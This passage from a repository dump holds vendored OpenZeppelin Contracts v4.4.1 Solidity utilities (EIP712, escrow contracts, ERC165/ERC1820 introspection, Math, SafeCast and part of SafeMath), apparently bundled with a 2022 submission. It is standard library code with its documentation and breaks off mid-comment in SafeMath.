================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/escrow/ConditionalEscrow.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/escrow/ConditionalEscrow.sol)
pragma solidity ^0.8.0;
import "./Escrow.sol";
/**
* @title ConditionalEscrow
* @dev Base abstract escrow to only allow withdrawal if a condition is met.
* @dev Intended usage: See {Escrow}. Same usage guidelines apply here.
*/
abstract contract ConditionalEscrow is Escrow {
/**
* @dev Returns whether an address is allowed to withdraw their funds. To be
* implemented by derived contracts.
* @param payee The destination address of the funds.
*/
function withdrawalAllowed(address payee) public view virtual returns (bool);
function withdraw(address payable payee) public virtual override {
require(withdrawalAllowed(payee), "ConditionalEscrow: payee is not allowed to withdraw");
super.withdraw(payee);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/escrow/Escrow.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/escrow/Escrow.sol)
pragma solidity ^0.8.0;
import "../../access/Ownable.sol";
import "../Address.sol";
/**
* @title Escrow
* @dev Base escrow contract, holds funds designated for a payee until they
* withdraw them.
*
* Intended usage: This contract (and derived escrow contracts) should be a
* standalone contract, that only interacts with the contract that instantiated
* it. That way, it is guaranteed that all Ether will be handled according to
* the `Escrow` rules, and there is no need to check for payable functions or
* transfers in the inheritance tree. The contract that uses the escrow as its
* payment method should be its owner, and provide public methods redirecting
* to the escrow's deposit and withdraw.
*/
contract Escrow is Ownable {
using Address for address payable;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param payee The destination address of the funds.
*/
function deposit(address payee) public payable virtual onlyOwner {
uint256 amount = msg.value;
_deposits[payee] += amount;
emit Deposited(payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee, forwarding all gas to the
* recipient.
*
* WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
* Make sure you trust the recipient, or are either following the
* checks-effects-interactions pattern or using {ReentrancyGuard}.
*
* @param payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address payable payee) public virtual onlyOwner {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.sendValue(payment);
emit Withdrawn(payee, payment);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/escrow/RefundEscrow.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/escrow/RefundEscrow.sol)
pragma solidity ^0.8.0;
import "./ConditionalEscrow.sol";
/**
* @title RefundEscrow
* @dev Escrow that holds funds for a beneficiary, deposited from multiple
* parties.
* @dev Intended usage: See {Escrow}. Same usage guidelines apply here.
* @dev The owner account (that is, the contract that instantiates this
* contract) may deposit, close the deposit period, and allow for either
* withdrawal by the beneficiary, or refunds to the depositors. All interactions
* with `RefundEscrow` will be made through the owner contract.
*/
contract RefundEscrow is ConditionalEscrow {
using Address for address payable;
enum State {
Active,
Refunding,
Closed
}
event RefundsClosed();
event RefundsEnabled();
State private _state;
address payable private immutable _beneficiary;
/**
* @dev Constructor.
* @param beneficiary_ The beneficiary of the deposits.
*/
constructor(address payable beneficiary_) {
require(beneficiary_ != address(0), "RefundEscrow: beneficiary is the zero address");
_beneficiary = beneficiary_;
_state = State.Active;
}
/**
* @return The current state of the escrow.
*/
function state() public view virtual returns (State) {
return _state;
}
/**
* @return The beneficiary of the escrow.
*/
function beneficiary() public view virtual returns (address payable) {
return _beneficiary;
}
/**
* @dev Stores funds that may later be refunded.
* @param refundee The address funds will be sent to if a refund occurs.
*/
function deposit(address refundee) public payable virtual override {
require(state() == State.Active, "RefundEscrow: can only deposit while active");
super.deposit(refundee);
}
/**
* @dev Allows for the beneficiary to withdraw their funds, rejecting
* further deposits.
*/
function close() public virtual onlyOwner {
require(state() == State.Active, "RefundEscrow: can only close while active");
_state = State.Closed;
emit RefundsClosed();
}
/**
* @dev Allows for refunds to take place, rejecting further deposits.
*/
function enableRefunds() public virtual onlyOwner {
require(state() == State.Active, "RefundEscrow: can only enable refunds while active");
_state = State.Refunding;
emit RefundsEnabled();
}
/**
* @dev Withdraws the beneficiary's funds.
*/
function beneficiaryWithdraw() public virtual {
require(state() == State.Closed, "RefundEscrow: beneficiary can only withdraw while closed");
beneficiary().sendValue(address(this).balance);
}
/**
* @dev Returns whether refundees can withdraw their deposits (be refunded). The overridden function receives a
* 'payee' argument, but we ignore it here since the condition is global, not per-payee.
*/
function withdrawalAllowed(address) public view override returns (bool) {
return state() == State.Refunding;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/ERC165.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/ERC165Checker.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return
_supportsERC165Interface(account, type(IERC165).interfaceId) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) && _supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns a boolean array where each value corresponds to the
* interfaces passed in and whether they're supported or not. This allows
* you to batch check interfaces for a contract where your expectation
* is that some interfaces may not be supported.
*
* See {IERC165-supportsInterface}.
*
* _Available since v3.4._
*/
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)
internal
view
returns (bool[] memory)
{
// an array of booleans corresponding to interfaceIds and whether they're supported or not
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
// query support of ERC165 itself
if (supportsERC165(account)) {
// query support of each interface in interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId);
(bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams);
if (result.length < 32) return false;
return success && abi.decode(result, (bool));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/ERC165Storage.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Storage.sol)
pragma solidity ^0.8.0;
import "./ERC165.sol";
/**
* @dev Storage based implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165Storage is ERC165 {
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return super.supportsInterface(interfaceId) || _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/ERC1820Implementer.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC1820Implementer.sol)
pragma solidity ^0.8.0;
import "./IERC1820Implementer.sol";
/**
* @dev Implementation of the {IERC1820Implementer} interface.
*
* Contracts may inherit from this and call {_registerInterfaceForAddress} to
* declare their willingness to be implementers.
* {IERC1820Registry-setInterfaceImplementer} should then be called for the
* registration to be complete.
*/
contract ERC1820Implementer is IERC1820Implementer {
bytes32 private constant _ERC1820_ACCEPT_MAGIC = keccak256("ERC1820_ACCEPT_MAGIC");
mapping(bytes32 => mapping(address => bool)) private _supportedInterfaces;
/**
* @dev See {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function canImplementInterfaceForAddress(bytes32 interfaceHash, address account)
public
view
virtual
override
returns (bytes32)
{
return _supportedInterfaces[interfaceHash][account] ? _ERC1820_ACCEPT_MAGIC : bytes32(0x00);
}
/**
* @dev Declares the contract as willing to be an implementer of
* `interfaceHash` for `account`.
*
* See {IERC1820Registry-setInterfaceImplementer} and
* {IERC1820Registry-interfaceHash}.
*/
function _registerInterfaceForAddress(bytes32 interfaceHash, address account) internal virtual {
_supportedInterfaces[interfaceHash][account] = true;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/IERC1820Implementer.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Implementer.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for an ERC1820 implementer, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820#interface-implementation-erc1820implementerinterface[EIP].
* Used by contracts that will be registered as implementers in the
* {IERC1820Registry}.
*/
interface IERC1820Implementer {
/**
* @dev Returns a special value (`ERC1820_ACCEPT_MAGIC`) if this contract
* implements `interfaceHash` for `account`.
*
* See {IERC1820Registry-setInterfaceImplementer}.
*/
function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/IERC1820Registry.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(
address account,
bytes32 _interfaceHash,
address implementer
) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/math/Math.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
